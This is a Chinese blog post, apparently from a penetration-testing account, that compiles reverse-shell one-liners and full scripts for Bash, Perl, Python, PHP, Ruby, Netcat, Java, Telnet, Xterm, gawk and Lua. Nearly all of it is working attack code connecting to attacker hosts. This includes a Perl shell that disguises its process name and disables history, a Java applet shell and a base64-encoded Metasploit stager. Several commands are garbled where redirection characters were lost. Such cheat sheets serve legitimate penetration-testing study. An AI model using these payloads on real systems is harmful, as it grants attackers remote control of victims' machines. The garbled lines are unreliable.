shell shift與{}_Linux下反彈shell的種種方式
技術標籤:shell shift與{}
0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
這裡shell由bash解析,有時候是由sh解析,不一定百發百中***在虛擬機器裡面試過可行,替換成自己的地址和埠即可******/dev/[tcp|upd]/host/port是Linux裝置裡面比較特殊的檔案,讀取或寫入相當於建立socket呼叫******由於其特殊性,命令執行後依舊無法找到/dev/tcp目錄更不要說下面的檔案了******注意,這裡"&"在Linux shell中表示後臺執行,當然這裡0>&1不是這樣,對於&1更準確的說應該是檔案描述符1,而1一般代表的就是STDOUT_FILENO****** 2>&1形式用於重定向,2>表示錯誤重定向,&1表示標準輸出;以ls >/dev/null 2>&1為例,2>&1是將標準出錯重定向到標準輸出,不過在這裡又被重定向到了/dev/null這個無底洞裡******這裡有一個問題:為什麼2>&1要寫在後面,以command >file 2>&1為例,首先是command > file將標準輸出重定向到file中, 2>&1 是標準錯誤拷貝了標準輸出的行為,也就是同樣被重定向到file中,最終結果就是標準輸出和錯誤都被重定向到file中******其實還有一個問題,既然2>表示錯誤重定向,那麼0>表示什麼呢?查閱資料發現在Linux下輸入輸出重定向有三個值,其中2已經說過是標準錯誤資訊輸出,那0則是標準輸入,1則為標準輸出了。說到這裡,其實又引出了一個新的問題,我們知道進行輸出,不是很清楚請大牛指點啊***
http://www.gnucitizen.org/blog/reverse-shell-with-bash上還有一種不同的方法,評論中也有一些想法:
###$ nc -l -p 8080 -vvv$ exec 5<>/dev/tcp/evil.com/8080$ cat &5 >&5; done
這條語句證實可行,這裡exec命令可以用來替代當前shell;換句話說,並沒有啟動子shell,使用這一條命令時任何現有環境變數將會被清除,並重新啟動一個shell
exec的man手冊如是說:The exec() family of functions replaces the current process image with a new process image
在查exec時發現一個好玩的語句:
exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3 cat
這個語句的作用,應該一看就明瞭了,不多說,言歸正傳,nc監聽,使用exec反彈的shell其輸出只能在目標機器上看到,有圖為證***
另外還可以是:
exec /bin/bash 0&0 2>&0
0/dev/tcp/attackerip/4444;sh&1962>&196
/bin/bash -i > /dev/tcp/attackerip/8080 0&1
***在測試exec /bin/bash 0&0 2>&0語句時,遇到一個問題,終端顯示No such file or directory或者乾脆找不到命令,怎麼讓它實現還有待研究******研究表明,exec 2>&0即可,不需要/bin/bash,然後跟上0196;
0x02 Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
使用這條命令,唯一的不同是提示符變成了sh-4.1#,實現原理和前面的bash差不多,Perl還是很強大的。
不依賴於/bin/sh的shell:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
這條語句比上面的更為簡短,而且確實不需要依賴/bin/sh
系統執行windows時:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
再給出一個完整的Perl的反彈指令碼:
#!/usr/bin/perl -w# perl-reverse-shell - A Reverse Shell implementation in PERLuse strict;use Socket;use FileHandle;use POSIX;my $VERSION = "1.0";# Where to send the reverse shell. Change these.my $ip = '127.0.0.1';my $port = 1234;# Optionsmy $daemon = 1;my $auth = 0; # 0 means authentication is disabled and any # source IP can access the reverse shellmy $authorised_client_pattern = qr(^127\.0\.0\.1$);# Declarationsmy $global_page = "";my $fake_process_name = "/usr/sbin/apache";# Change the process name to be less conspicious$0 = "[httpd]";# Authenticate based on source IP address if requiredif (defined($ENV{'REMOTE_ADDR'})) { cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); if ($auth) { unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { cgiprint("ERROR: Your client isn't authorised to view this page"); cgiexit(); } }} elsif ($auth) { cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); cgiexit(0);}# Background and dissociate from parent process if requiredif ($daemon) { my $pid = fork(); if ($pid) { cgiexit(0); # parent exits } setsid(); chdir('/'); umask(0);}# Make TCP connection for reverse shellsocket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { cgiprint("Sent reverse shell to $ip:$port"); cgiprintpage();} else { cgiprint("Couldn't open reverse shell to $ip:$port: $!"); cgiexit();}# Redirect STDIN, STDOUT and STDERR to the TCP connectionopen(STDIN, ">&SOCK");open(STDOUT,">&SOCK");open(STDERR,">&SOCK");$ENV{'HISTFILE'} = '/dev/null';system("w;uname -a;id;pwd");exec({"/bin/sh"} ($fake_process_name, "-i"));# Wrapper around printsub cgiprint { my $line = shift; $line .= "
\n"
; $global_page .= $line;}# Wrapper around exitsub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response.}# Form HTTP response using all the messages gathered by cgiprint so farsub cgiprintpage { print "Content-Length: " . length($global_page) . "\rConnection: close\rContent-Type: text\/html\r\n\r\n" . $global_page;}
0x03 Python
#測試環境為Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
另外的形式:[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]還有其他可行的程式碼
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
另外Metasploit版的程式碼:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
base64解碼:
import socket,structs=socket.socket(2,1)s.connect(('192.168.90.1',1234))l=struct.unpack('>I',s.recv(4))[0]d=s.recv(4096)while len(d)!=l: d+=s.recv(4096)exec(d,{'s':s})
0x04 PHP
#程式碼假設TCP連線的檔案描述符為3,如果不行可以試下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");
https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php為一個上傳的完整php反彈shell指令碼
0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
不依賴於/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目標系統執行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
當然還有我們很熟悉的MSF模組裡面也是有反彈shell的:
#!/usr/bin/env rubyrequire 'socket'require 'open3'#Set the Remote Host IPRHOST = "192.168.1.10" #Set the Remote Host PortPORT = "6667"#Tries to connect every 20 sec until it connects.beginsock = TCPSocket.new "#{RHOST}", "#{PORT}"sock.puts "We are connected!"rescue sleep 20 retryend#Runs the commands you type and sends you back the stdout and stderr.begin while line = sock.gets Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | IO.copy_stream(stdout_and_stderr, sock) end endrescue retryend
0x06 NetCat
nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支援-e選項
不能使用-e選項時:
mknodbackpipep&&ncattackerip80800backpipe/bin/sh|ncattackerip4444rm-f/tmp/p;mknod/tmp/pp&&ncattackerip44440/tmp/
安裝的NC版本有問題時:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
0x07 Java
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[])p.waitFor()
msf使用為:
use payload/java/shell/reverse_tcp
再見一段長程式碼:
import java.io.*;import java.net.Socket;import java.util.*;import java.util.regex.*;import java.applet.Applet;public class poc extends Applet{ /** * Author: daniel baier alias duddits * Licens: GPL * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher * Version: 0.1 alpha release */ public String cd(String start, File currentDir) { File fullPath = new File(currentDir.getAbsolutePath()); String sparent = fullPath.getAbsoluteFile().toString(); return sparent + "/" + start; } @SuppressWarnings("unchecked") public void init() { poc rs = new poc(); PrintWriter out; try { Socket clientSocket = new Socket("192.168.5.222",10003); out = new PrintWriter(clientSocket.getOutputStream(), true); out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier"); boolean run = true; String s; BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); String startort = "/"; while (run) { String z1; File f = new File(startort); out.println(f.getAbsolutePath() + "> "); s = br.readLine(); z1 = s; Pattern pcd = Pattern.compile("^cd\\s"); Matcher mcd = pcd.matcher(z1); String[] teile1 = pcd.split(z1); if (s.equals("exit")) { run = false; }else if (s.equals(null) || s.equals("cmd") || s.equals("")) { } else if(mcd.find()){ try { String cds = rs.cd(teile1[1], new File(startort)); startort = cds; } catch (Exception verz) { out.println("Path " + teile1[1] + " not found."); } }else { String z2; z2 = s; Pattern pstring = Pattern.compile("\\s"); String[] plist = pstring.split(z2); try { LinkedList slist = new LinkedList(); for (int i = 0; i < plist.length; i++) { slist.add(plist[i]); } ProcessBuilder builder = new ProcessBuilder(slist); builder.directory(new File(startort)); Process p = builder.start(); Scanner se = new Scanner(p.getInputStream()); if (!se.hasNext()) { Scanner sa = new Scanner(p.getErrorStream()); while (sa.hasNext()) { out.println(sa.nextLine()); } } while (se.hasNext()) { out.println(se.nextLine()); } } catch (Exception err) { out.println(f.getAbsolutePath() + "> Command " + s + " failed!"); out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin."); } } } if(!clientSocket.isConnected()){ run = false; out.flush(); out.close(); } } catch (Exception io) { //System.err.println("Connection refused by peer"); } }}
0x08 Telnet
#nc不可用或/dev/tcp不可用時
mknod backpipe p && telnet attackerip 8080 0/bin/bash 1>backpipe
***這裡mknod是建立特殊檔案-裝置檔案***
0x09 Xterm
首先開啟Xserver: # TCP 6001Xnest :1 # Note: The command starts with uppercase X授予目標機連回來的許可權:xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tabxhost +targetip # Run this INSIDE the spawned xterm on the open X Server如果想讓任何人都連上:xhost + # Run this INSIDE the spawned xterm on the open X Server假設xterm已安裝,連回你的Xserver:xterm -display attackerip:1或者:$ DISPLAY=attackerip:0xterm
0x10gawk
#!/usr/bin/gawk -fBEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}
0x11 烏雲上一個lua實現
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i &3 2>&3');"
***lua之前是真沒見過,發現機器竟然一時裝不上,唉,留著以後玩吧***
msf反彈:
use payload/cmd/unix/reverse_lua
0x12 參考
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.htmlhttp://roo7break.co.uk/?p=215http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
【往期推薦】
未授權訪問漏洞彙總
【內網滲透】對靶機的一次完整折磨
乾貨|常用滲透漏洞poc、exp收集整理
記一次HW實戰筆記 | 艱難的提權爬坑
【超詳細】Fastjson1.2.24反序列化漏洞復現
【奇淫巧技】如何成為一個合格的“FOFA”工程師
文章總結希望對大家有所幫助走過路過的大佬們留個關注再走唄
往期文章有彩蛋哦
如果對你有所幫助,點個分享、贊、在看唄!